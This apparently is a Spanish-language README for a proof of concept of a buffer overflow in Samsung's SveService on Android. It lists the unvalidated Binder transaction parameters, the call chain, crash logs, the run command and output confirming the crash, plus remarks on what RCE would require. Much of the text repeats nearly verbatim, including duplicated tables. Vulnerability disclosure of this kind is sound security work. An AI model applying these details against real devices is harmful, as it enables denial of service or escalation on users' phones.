
PoC mínimo de un desbordamiento de búfer en Samsung SveService, que demuestra una escritura fuera de los límites mediante Binder para bloquear el servicio del sistema Android sin permisos especiales.
Samsung SMR May 2026
SVE-2026-0478(CVE-2026-21018)
Versiones afectadas: Android 14, 15, 16
Estado de divulgación: Divulgación privada
Una escritura fuera de los límites en SveService anterior a SMR May-2026 Release 1 permite a atacantes locales privilegiados ejecutar código arbitrario.
El parche añade una validación de entrada adecuada.
Vulnerabilidad de desbordamiento de búfer en el servicio de sistema SveService (com.sec.sve) en dispositivos Samsung con Android 16. El servicio se ejecuta como system (UID 1000) y es accesible sin ningún permiso especial a través de Binder.
| Componente | Rol | Versión |
|---|---|---|
sveservice.apk | Servicio de Android | API 36 |
libsvejni.so | Biblioteca nativa ARM64 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
En sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), los parámetros i18, i19, i20 (recibidos de AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) se pasan directamente a memset, sub sp, sp, xN (alloca) y memcpy sin ninguna validación de tamaño.
Las funciones similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validan con cmp w20, #0x1e; b.gt (rechazando > 30 bytes). SetCodecInfo no valida en absoluto.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
Salida esperada:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() a través de app_process funciona como UID shell.signatureOrSystem NO se aplica — el servicio se registra directamente a través de ServiceManager.addService(), evadiendo el mecanismo de permisos de Android.memset con 0xFFFFFFFF siempre provoca un crash. Un RCE requeriría una fuga de direcciones + ROP (PAC ausente en SM-A175F).Vulnerabilidad de desbordamiento de búfer en el servicio de sistema SveService (com.sec.sve) en dispositivos Samsung con Android 16. El servicio se ejecuta como system (UID 1000) y es accesible sin ningún permiso especial a través de Binder.
| Componente | Rol | Versión |
|---|---|---|
sveservice.apk | Servicio de Android | API 36 |
libsvejni.so | Biblioteca nativa ARM64 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
En la función sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), los parámetros i18, i19, i20 (recibidos de AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) se usan directamente como argumentos para memset, sub sp, sp, xN (alloca) y memcpy sin ninguna validación de tamaño.
Otras funciones similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validan con cmp w20, #0x1e; b.gt (rechazan > 30 bytes). SetCodecInfo no valida nada.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)cd poc
./build_and_run.sh
Salida esperada:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() a través de app_process funciona con UID shell.signatureOrSystem NO se aplica — el servicio se registra directamente a través de ServiceManager.addService(), saltándose la comprobación de permisos.memset con 0xFFFFFFFF siempre crashea. Un RCE necesitaría una fuga de dirección + ROP (PAC ausente en SM-A175F).| Operación | Valor | Efecto |
|---|
(i18 + 15) & ~15 | 0 | Asigna 0 bytes |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Intenta poner a cero 4 GB → SIGSEGV |
sxtw(i18) para memcpy | 0xFFFFFFFFFFFFFFFF | Extensión de signo de -1 → ~18 exabytes |
| Operación | Valor | Efecto |
|---|
(i18 + 15) & ~15 | 0 | Asigna 0 bytes |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Intenta poner a cero 4 GB → SIGSEGV |
sxtw(i18) para memcpy | 0xFFFFFFFFFFFFFFFF | Extensión de signo de -1 → ~18 exabytes |